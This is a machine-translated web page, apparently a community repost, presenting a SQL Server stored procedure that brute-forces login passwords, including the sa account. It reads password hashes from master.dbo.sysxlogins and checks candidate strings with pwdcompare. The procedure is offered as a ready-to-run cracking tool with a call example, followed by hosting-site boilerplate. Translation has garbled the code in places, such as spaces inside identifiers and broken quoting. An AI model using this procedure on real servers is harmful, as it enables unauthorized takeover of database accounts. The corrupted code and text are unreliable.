Stored Procedure instance-SQL Server Sa password cracking

Source: Internet
Author: User

A Stored Procedure for SQL Server Sa password cracking:
If exists (select * from dbo. sysobjects where id = object_id (n' [dbo]. [p_GetPassword] ') and OBJECTPROPERTY (id, n' IsProcedure') = 1)

Drop procedure [dbo]. [p_GetPassword]

GO

/* -- Brute-force cracking SQL Server user password

Attackers can crack passwords with Chinese characters, special characters, characters, and trailing spaces.

For the convenience of displaying passwords with special characters, the displayed results show the ASCII

Theoretically, attackers can crack passwords of any number of digits.

The condition is that your computer is configured enough time

/* -- Call example

Exec p_GetPassword

--*/

Create proc p_GetPassword

@ Username sysname = null, -- user name. If this parameter is not specified, all users are listed.

@ Pwdlen int = 2 -- number of digits of the password to be cracked. The default value is 2 or less

As

Set @ pwdlen = case when isnull (@ pwdlen, 0) <1 then 1 else @ pwdlen-1 end

Select top 255 id = identity (int,) into # t from syscolumns

Alter table # t add constraint PK _ # t primary key (id)

Select name, password

, Type = case when xstatus & 2048 = 2048 then 1 else 0 end

, Jm = case when password is null then 1 else 0 end

, Pwdstr = cast (''as sysname)

, Pwd = cast (''as varchar (8000 ))

Into # pwd

From master. dbo. sysxlogins

Where srvid is null

And name = isnull (@ username, name)

Declare @ s1 varchar (8000), @ s2 varchar (8000), @ s3 varchar (8000)

Declare @ l int

Select @ l = 0

, @ S1 = 'Char (aa. id )'

, @ S2 = 'Cast (aa. id as varchar )'

, @ S3 = ', # t aa'

Exec ('

Update pwd set jm = 1, pwdstr = '+ @ s1 +'

, Pwd = '+ @ s2 +'

From # pwd '+ @ s3 +'

Where pwd. jm = 0

And pwdcompare ('+ @ s1 +', pwd. password, pwd. type) = 1

')

While exists (select 1 from # pwd where jm = 0 and @ l <@ pwdlen)

Begin

Select @ l = @ l + 1

, @ S1 = @ s1 + '+ char (@ l/26 + 97) + char (@ l % 26 + 97) +'. id )'

, @ S2 = @ s2 + '+ '','' + cast (' + char (@ l/26 + 97) + char (@ l % 26 + 97) + '. id as varchar )'

, @ S3 = @ s3 + ', # t' + char (@ l/26 + 97) + char (@ l % 26 + 97)

Exec ('

Update pwd set jm = 1, pwdstr = '+ @ s1 +'

, Pwd = '+ @ s2 +'

From # pwd '+ @ s3 +'

Where pwd. jm = 0

And pwdcompare ('+ @ s1 +', pwd. password, pwd. type) = 1

')

End

Select username = name, password = pwdstr, password ASCII = pwd

From # pwd

Go

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.